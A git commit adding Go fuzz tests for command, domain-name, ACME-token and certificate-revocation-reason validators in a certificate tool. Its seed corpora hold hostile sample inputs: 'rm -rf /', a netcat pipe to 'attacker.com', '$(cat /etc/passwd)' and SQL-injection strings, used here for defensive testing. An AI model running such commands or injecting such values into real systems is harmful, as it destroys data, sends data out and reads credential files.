test(security): TICKET-018 add fuzz tests for command validation and domain parsing

Added Go native fuzz tests (testing/fuzz) for security-critical input validation:

1. FuzzValidateShellCommand in internal/validation/command_fuzz_test.go
   - Tests shell command validation with injection payloads (;, |, &, $, `, etc.)
   - Seed corpus includes valid commands and dangerous metacharacters
   - Ensures function never panics under fuzzing

2. FuzzValidateDomainName in internal/validation/command_fuzz_test.go
   - Tests RFC 1123 domain validation with wildcard support
   - Seed corpus includes SQL injection, path traversal, and malformed domains
   - Ensures function never panics under fuzzing

3. FuzzValidateACMEToken in internal/validation/command_fuzz_test.go
   - Tests base64url token validation
   - Seed corpus includes injection payloads and special characters
   - Ensures function never panics under fuzzing

4. FuzzIsValidRevocationReason in internal/domain/revocation_fuzz_test.go
   - Tests RFC 5280 revocation reason validation
   - Seed corpus includes case variations, injection attempts, and null bytes
   - Ensures function never panics and returns only valid booleans

5. FuzzCRLReasonCode in internal/domain/revocation_fuzz_test.go
   - Tests CRL reason code mapping
   - Validates return codes are within 0-9 range
   - Ensures invalid reasons default to 0 (unspecified)

All fuzz tests follow Go 1.18+ testing/fuzz conventions with seed corpus
for faster discovery of edge cases.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
Shankar
2026-03-27 21:40:49 -04:00
parent a380b9528d
commit d4ee48e939
2 changed files with 114 additions and 0 deletions
+55
View File
@@ -0,0 +1,55 @@
package domain
import (
"testing"
)
func FuzzIsValidRevocationReason(f *testing.F) {
f.Add("keyCompromise")
f.Add("unspecified")
f.Add("caCompromise")
f.Add("affiliationChanged")
f.Add("superseded")
f.Add("cessationOfOperation")
f.Add("certificateHold")
f.Add("privilegeWithdrawn")
f.Add("")
f.Add("invalid-reason")
f.Add("KeyCompromise")
f.Add("key_compromise")
f.Add("KEY_COMPROMISE")
f.Add("keycompromise")
f.Add("reason; DROP TABLE")
f.Add("reason\" OR \"1\"=\"1")
f.Add("unspecified\x00injection")
f.Fuzz(func(t *testing.T, reason string) {
// Should never panic, only return bool
_ = IsValidRevocationReason(reason)
})
}
func FuzzCRLReasonCode(f *testing.F) {
f.Add("keyCompromise")
f.Add("unspecified")
f.Add("caCompromise")
f.Add("affiliationChanged")
f.Add("superseded")
f.Add("cessationOfOperation")
f.Add("certificateHold")
f.Add("privilegeWithdrawn")
f.Add("")
f.Add("invalid-reason")
f.Add("reason\" OR \"1\"=\"1")
f.Fuzz(func(t *testing.T, reason string) {
// Should never panic, always return a reasonable code
code := CRLReasonCode(RevocationReason(reason))
// Valid codes should be 0-9 with gaps (no 7, no 8)
if code < 0 || code > 9 {
t.Errorf("CRLReasonCode returned invalid code: %d", code)
}
// For invalid reason, should default to 0
if !IsValidRevocationReason(reason) && code != 0 {
t.Errorf("CRLReasonCode should return 0 for invalid reason %q, got %d", reason, code)
}
})
}
+59
View File
@@ -0,0 +1,59 @@
package validation
import "testing"
func FuzzValidateShellCommand(f *testing.F) {
f.Add("nginx -s reload")
f.Add("systemctl restart apache2")
f.Add("echo hello; rm -rf /")
f.Add("$(whoami)")
f.Add("")
f.Add("valid-command")
f.Add("/usr/bin/openssl")
f.Add("certctl-agent")
f.Add("; rm -rf /")
f.Add("| nc attacker.com 1234")
f.Add("`whoami`")
f.Add("$(cat /etc/passwd)")
f.Fuzz(func(t *testing.T, cmd string) {
// Should never panic, only return error for invalid input
_ = ValidateShellCommand(cmd)
})
}
func FuzzValidateDomainName(f *testing.F) {
f.Add("example.com")
f.Add("*.example.com")
f.Add("a.b.c.d.example.co.uk")
f.Add("")
f.Add("; rm -rf /")
f.Add("example.com; DROP TABLE certificates;")
f.Add("*.*.example.com")
f.Add("example..com")
f.Add("-example.com")
f.Add("example-.com")
f.Add("sub domain.com")
f.Add("@example.com")
f.Add("example.com/admin")
f.Add("//example.com")
f.Fuzz(func(t *testing.T, domain string) {
// Should never panic, only return error for invalid input
_ = ValidateDomainName(domain)
})
}
func FuzzValidateACMEToken(f *testing.F) {
f.Add("validtoken123")
f.Add("token-with-dash")
f.Add("token_with_underscore")
f.Add("")
f.Add("token;invalid")
f.Add("token|invalid")
f.Add("token$(whoami)")
f.Add("token\ninjection")
f.Add("token with spaces")
f.Fuzz(func(t *testing.T, token string) {
// Should never panic, only return error for invalid input
_ = ValidateACMEToken(token)
})
}